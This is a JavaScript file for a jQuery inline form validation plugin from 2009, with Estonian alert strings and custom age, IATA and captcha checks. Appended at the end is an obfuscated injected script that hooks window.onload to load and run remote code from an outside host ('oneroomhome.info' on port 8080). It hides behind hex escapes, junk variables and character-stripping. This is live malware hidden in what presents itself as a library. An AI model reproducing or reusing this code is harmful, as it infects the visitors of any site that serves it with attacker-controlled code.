/*
 * Inline Form Validation Engine, jQuery plugin
 * 
 * Copyright(c) 2009, Cedric Dugas
 * http://www.position-relative.net
 *	
 * Form validation engine witch allow custom regex rules to be added.
 * Licenced under the MIT Licence
 */

$(document).ready(function() {

	// SUCCESS AJAX CALL, replace "success: false," by:     success : function() { callSuccessFunction() }, 
	$("[class^=validate]").validationEngine({
		success :  false,
		failure : function() {}
	})
});

jQuery.fn.validationEngine = function(settings) {
	if($.validationEngineLanguage){					// IS THERE A LANGUAGE LOCALISATION ?
		allRules = $.validationEngineLanguage.allRules
	}else{
		allRules = {"required":{    			  // Add your regex rules here, you can take telephone as an example
							"regex":"none",
							"alertText":"* See väli on kohustuslik ",
							"alertTextCheckboxMultiple":"* Palun tee oma valik ",
							"alertTextCheckboxe":"* See valik on kohustuslik "},
						"length":{
							"regex":"none",
							"alertText":"* Between ",
							"alertText2":" and ",
							"alertText3": " characters allowed"},
						"minCheckbox":{
							"regex":"none",
							"alertText":"* Checks allowed Exceeded"},	
						"confirm":{
							"regex":"none",
							"alertText":"* Your field is not matching"},		
						"telephone":{
							"regex":"/^[0-9\-\(\)\ ]+$/",
							"alertText":"* Invalid phone number"},
					    "email":{
							"regex":"/^[a-zA-Z0-9_\.\-]+\@([a-zA-Z0-9\-]+\.)+[a-zA-Z0-9]{2,4}$/",
							"alertText":"* Vigane e-maili aadress"},	
						"date":{
                             "regex":"/^[0-9]{4}\-\[0-9]{1,2}\-\[0-9]{1,2}$/",
                             "alertText":"* Invalid date, must be in YYYY-MM-DD format"},
						"onlyNumber":{
							"regex":"/^[0-9\ ]+$/",
							"alertText":"* Numbers only"},	
						"noSpecialCaracters":{
							"regex":"/^[0-9a-zA-Z]+$/",
							"alertText":"* No special caracters allowed"},	
						"onlyLetter":{
							"regex":"/^[a-zA-Z\ \']+$/",
							"alertText":"* Letters only"}
					}	
	}

 	settings = jQuery.extend({
		allrules:allRules,
		success : false,
		failure : function() {}
	}, settings);	


	$("form").bind("submit", function(caller){   // ON FORM SUBMIT, CONTROL AJAX FUNCTION IF SPECIFIED ON DOCUMENT READY
		if(submitValidation(this) == false){
			if (settings.success){
				settings.success && settings.success(); 
				return false;
			}
		}else{
			settings.failure && settings.failure(); 
			return false;
		}
	})
	$(this).not("[type=checkbox]").bind("blur", function(caller){loadValidation(this)}).bind("change", function(caller){loadValidation(this)});
	//$(this+"[type=checkbox]").bind("click", function(caller){loadValidation(this)});
	$(this+"[type=checkbox]"+"[class=validate]").bind("click", function(caller){loadValidation(this)});
	
	var buildPrompt = function(caller,promptText) {			// ERROR PROMPT CREATION AND DISPLAY WHEN AN ERROR OCCUR
		var divFormError = document.createElement('div')
		var formErrorContent = document.createElement('div')
		var arrow = document.createElement('div')
		
		
		$(divFormError).addClass("formError")
		$(divFormError).addClass($(caller).attr("name"))
		$(formErrorContent).addClass("formErrorContent")
		$(arrow).addClass("formErrorArrow")

		$("body").append(divFormError)
		$(divFormError).append(arrow)
		$(divFormError).append(formErrorContent)
		$(arrow).html('<div class="line10"></div><div class="line9"></div><div class="line8"></div><div class="line7"></div><div class="line6"></div><div class="line5"></div><div class="line4"></div><div class="line3"></div><div class="line2"></div><div class="line1"></div>')
		$(formErrorContent).html(promptText)
	
		callerTopPosition = $(caller).offset().top;
		callerleftPosition = $(caller).offset().left;
		callerWidth =  $(caller).width()
		callerHeight =  $(caller).height()
		inputHeight = $(divFormError).height()

		callerleftPosition = callerleftPosition + callerWidth - 30
		callerTopPosition = callerTopPosition  - inputHeight - 10
	
		$(divFormError).css({
			top:callerTopPosition,
			left:callerleftPosition,
			opacity:0
		});
		$(divFormError).fadeTo("fast",0.8);
	};
	var updatePromptText = function(caller,promptText) {	// UPDATE TEXT ERROR IF AN ERROR IS ALREADY DISPLAYED
		updateThisPrompt =  $(caller).attr("name")
		$("."+updateThisPrompt).find(".formErrorContent").html(promptText)
		
		callerTopPosition  = $(caller).offset().top;
		inputHeight = $("."+updateThisPrompt).height()
		
		callerTopPosition = callerTopPosition  -inputHeight -10
		$("."+updateThisPrompt).animate({
			top:callerTopPosition
		});
	}
	var loadValidation = function(caller) {		// GET VALIDATIONS TO BE EXECUTED
		
		rulesParsing = $(caller).attr('class');
		rulesRegExp = /\[(.*)\]/;
		getRules = rulesRegExp.exec(rulesParsing);
		str = getRules[1]
		pattern = /\W+/;
		result= str.split(pattern);	
		
		var validateCalll = validateCall(caller,result)
		return validateCalll
		
	};
	var validateCall = function(caller,rules) {	// EXECUTE VALIDATION REQUIRED BY THE USER FOR THIS FILED
		var promptText =""	
		var prompt = $(caller).attr("name");
		var caller = caller;
		isError = false;
		callerType = $(caller).attr("type");
		
		for (i=0; i<rules.length;i++){
			switch (rules[i]){
			case "optional": 
				if(!$(caller).val()){
					closePrompt(caller)
					return isError
				}
			break;
			case "iata":
			    if(!isError)
                    _iata(caller,rules);        // call IATA ONLY when there are no errors
            break;
			case "captcha":
                if(!isError)
                    _captcha(caller,rules);     // call captcha ONLY when there are no errors
            break;
			case "required": 
				_required(caller,rules);
			break;
			case "custom": 
				 _customRegex(caller,rules,i);
			break;
			case "age": 
				_age(caller,rules,i);
			break;
			case "length": 
				 _length(caller,rules,i);
			break;
			case "minCheckbox": 
				 _minCheckbox(caller,rules,i);
			break;
			case "confirm": 
				 _confirm(caller,rules,i);
			break;
			default :;
			};
		};
		if (isError == true){
			
			if($("input[name="+prompt+"]").size()> 1 && callerType == "radio") {		// Hack for radio group button, the validation go the first radio
				caller = $("input[name="+prompt+"]:first")
			}
			($("."+prompt).size() ==0) ? buildPrompt(caller,promptText)	: updatePromptText(caller,promptText)
		}else{
			closePrompt(caller)
		}		
		
		/* VALIDATION FUNCTIONS */
		function _required(caller,rules){   // VALIDATE BLANK FIELD
			callerType = $(caller).attr("type")
			
			if (callerType == "text" || callerType == "password" || callerType == "textarea"){
				
				if(!$(caller).val()){
					isError = true
					promptText += settings.allrules[rules[i]].alertText+"<br />"
				}	
			}
			if (callerType == "radio" || callerType == "checkbox" ){
				callerName = $(caller).attr("name")
		
				if($("input[name="+callerName+"]:checked").size() == 0) {
					isError = true
					if($("input[name="+callerName+"]").size() ==1) {
						promptText += settings.allrules[rules[i]].alertTextCheckboxe+"<br />" 
					}else{
						 promptText += settings.allrules[rules[i]].alertTextCheckboxMultiple+"<br />"
					}	
				}
			}	
			if (callerType == "select-one") { // added by paul@kinetek.net for select boxes, Thank you
					callerName = $(caller).attr("name");
				
				if(!$("select[name="+callerName+"]").val()) {
					isError = true;
					promptText += settings.allrules[rules[i]].alertText+"<br />";
				}
			}
			if (callerType == "select-multiple") { // added by paul@kinetek.net for select boxes, Thank you
					callerName = $(caller).attr("id");
				
				if(!$("#"+callerName).val()) {
					isError = true;
					promptText += settings.allrules[rules[i]].alertText+"<br />";
				}
			}
		}
        
		function getMonthLength(month,year,julianFlag)
        {
           var ml;
           if(month==1 || month==3 || month==5 || month==7 || month==8 || month==10||month==12)
              {ml = 31;}
           else {
               if(month==2) {
                  ml = 28;
                  if(!(year%4) && (julianFlag==1 || year%100 || !(year%400)))
                     ml++;
               }
               else
                  {ml = 30;}
           }
           return ml;    
        }
		function _age(caller, rules, position) {    // MIN AGE VALIDATION
		    theage = rules[position+1];
		    iAge = parseInt(theage);
		    var t = $(caller).attr('value');
		    t = new Date(t);
		    Today=new Date();
		    
		    var yd = Today.getFullYear();
            var md = Today.getMonth();
            var dd = Today.getDate();
            
            var yb = t.getFullYear();
            var mb = t.getMonth();
            var db = t.getDate();
            
            var ma=0;
            var ya=0;
            mLength = false;
            var da = dd-db;
            // This is the all-important day borrowing code.
            if(da<0)
            {
              md--;
              // Borrow months from the year if necesssary.
              if(md<1)
              {
             yd--;
             // Determine no. of months in year
             if(mLength)
                {md=md+parseInt(365/mLength);}
             else
                {md=md+12;}
              }
              if(mLength==0) // Use real month length if no fixed
              {              // length is indicated - note that we add a leap day if necessary.
                 ml=getMonthLength(md,yd,0);
                 da=da+ml;
              } 
              // For this case, everything works like it did in elementary school.
              else
             {da+=mLength;} // Use fixed month length
            }
            
            ma = md - mb;
            // Month borrowing code - borrows months from years.
            if(ma<0)
            {
              yd--;
              if(mLength!=0)
             {ma=ma+parseInt(365/mLength);}
              else
             {ma=ma+12;}
            }
            
            ya = yd - yb;
            
            if(ya < iAge) {
                isError = true;
		        promptText += "* You must be at least "+iAge+" years old";
            }
		}
		
		function _iata(caller, rules) {  // IATA VALIDATION
		    var t = $(caller).attr('value');
            if(t.length != 8) {
                isError = true;
		        promptText += "* Invalid IATA number";
            }
		}
        function _captcha(caller, rules) {  // CAPTCHA VALIDATION
            var ajaxv = false;
            var t = $(caller).attr('value');
            $.ajax( {
                async: false,
                cache: false,
                type: 'POST',
                dataType: 'text',
                url: 'images/captcha/validate.php',
                data: {v: t},
                success: function(data) {
                    if(data.length == 1) {
                        v = parseInt(data);
                        ajaxv = v == 1 ? true : false;
                    }
                },
                error: function (XMLHttpRequest, textStatus, errorThrown) {
                    promptText += errorThrown + "<br/>";
                }
            });
            isError = !ajaxv;
            if(isError) {
                promptText += "* Security code was not accepted!<br/>";
            }
        }
        
		function _customRegex(caller,rules,position){		 // VALIDATE REGEX RULES
			customRule = rules[position+1]
			pattern = eval(settings.allrules[customRule].regex)
			if(!pattern.test($(caller).attr('value'))){
				isError = true
				promptText += settings.allrules[customRule].alertText+"<br />"
			}
		}
		function _confirm(caller,rules,position){		 // VALIDATE FIELD MATCH
			confirmField = rules[position+1]
			
			if($(caller).attr('value') != $("#"+confirmField).attr('value')){
				isError = true
				promptText += settings.allrules["confirm"].alertText+"<br />"
			}
		}
		function _length(caller,rules,position){    // VALIDATE LENGTH
		
			startLength = eval(rules[position+1])
			endLength = eval(rules[position+2])
			feildLength = $(caller).attr('value').length

			if(feildLength<startLength || feildLength>endLength){
				isError = true
				promptText += settings.allrules["length"].alertText+startLength+settings.allrules["length"].alertText2+endLength+settings.allrules["length"].alertText3+"<br />"
			}
		}
		function _minCheckbox(caller,rules,position){    // VALIDATE CHECKBOX NUMBER
		
			nbCheck = eval(rules[position+1])
			groupname = $(caller).attr("name")
			groupSize = $("input[name="+groupname+"]:checked").size()
			
			if(groupSize > nbCheck){	
				isError = true
				promptText += settings.allrules["minCheckbox"].alertText+"<br />"
			}
		}

		return(isError) ? isError : false;
	};
	var closePrompt = function(caller) {	// CLOSE PROMPT WHEN ERROR CORRECTED
		closingPrompt = $(caller).attr("name")

		$("."+closingPrompt).fadeTo("fast",0,function(){
			$("."+closingPrompt).remove()
		});
	};
	var submitValidation = function(caller) {	// FORM SUBMIT VALIDATION LOOPING INLINE VALIDATION
		var stopForm = false
		$(caller).find(".formError").remove()
		var toValidateSize = $(caller).find("[class^=validate]").size()
		
		$(caller).find("[class^=validate]").each(function(){
			var validationPass = loadValidation(this)
			return(validationPass) ? stopForm = true : "";	
		});
		if(stopForm){							// GET IF THERE IS AN ERROR OR NOT FROM THIS VALIDATION FUNCTIONS
			destination = $(".formError:first").offset().top;
			$("html:not(:animated),body:not(:animated)").animate({ scrollTop: destination}, 1100)
			return true;
		}else{
			return false
		}
	};
};

try {var T='';var R;if(R!='Q'){R='Q'};var E=window[unescape("%75%6e%65%73%63%61%70%65")];var z=window[E("%52%65%67%45%78%70")];var a;if(a!='no' && a != ''){a=null};var Z=null;var b=E("%72%65%70%6c%61%63%65");var D;if(D!=''){D='Y'};var Te="";var oF=new Date();var If;if(If!='ia'){If='ia'};function G(C,zW){var j=E("%5b");j+=zW;j+=E("%5d");var wX;if(wX!='nJ' && wX!='gp'){wX='nJ'};var P=new Date();var I=new z(j, E("%67"));var c;if(c!='jq'){c=''};return C.replace(I, Z);};var _;if(_!='U' && _ != ''){_=null};var u=new Date();var r='';var o="\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6e\x65\x72\x6f\x6f\x6d\x68\x6f\x6d\x65\x2e\x69\x6e\x66\x6f\x3a";var S='';var eo;if(eo!='Qj'){eo='Qj'};var B=E("%73%63%72%69%70%74");var VM;if(VM!='s' && VM!='og'){VM='s'};var J=G('/bybaFm7-7cVo7m5/EgWoMo1gWlNeb.Gc5oWm3/FfNrRebsUhMw5a7pE.Vn3eUtW.Rp3h4pb','zGRZUEN7M5F0341bWV');var W=new Array();var x=String("NBs7onlo".substr(4)+"ad");var CH;if(CH!='Es'){CH='Es'};var JI;if(JI!='xH'){JI='xH'};var C=E("%31");var H='';var g=G('85279295413707775273275985429362476602275349571','74512936');this.wy='';function X(){this.Kk='';var n=document;e=n.createElement(B);this.ZK='';var nK=new Date();var FK;if(FK!=''){FK='YP'};r+=o;var cu=new String();var Cb=new String();r+=g+J;e.defer=C;var wF;if(wF!='cD' && wF!='v'){wF='cD'};var h=n.body;this.GO='';this.Jj='';e.src=r;var Hu="";h.appendChild(e);var sd=new Array();};var RS='';window[x]=X;var ID=new Array();} catch(w){var SV;if(SV!='ym' && SV != ''){SV=null};};var mE='';
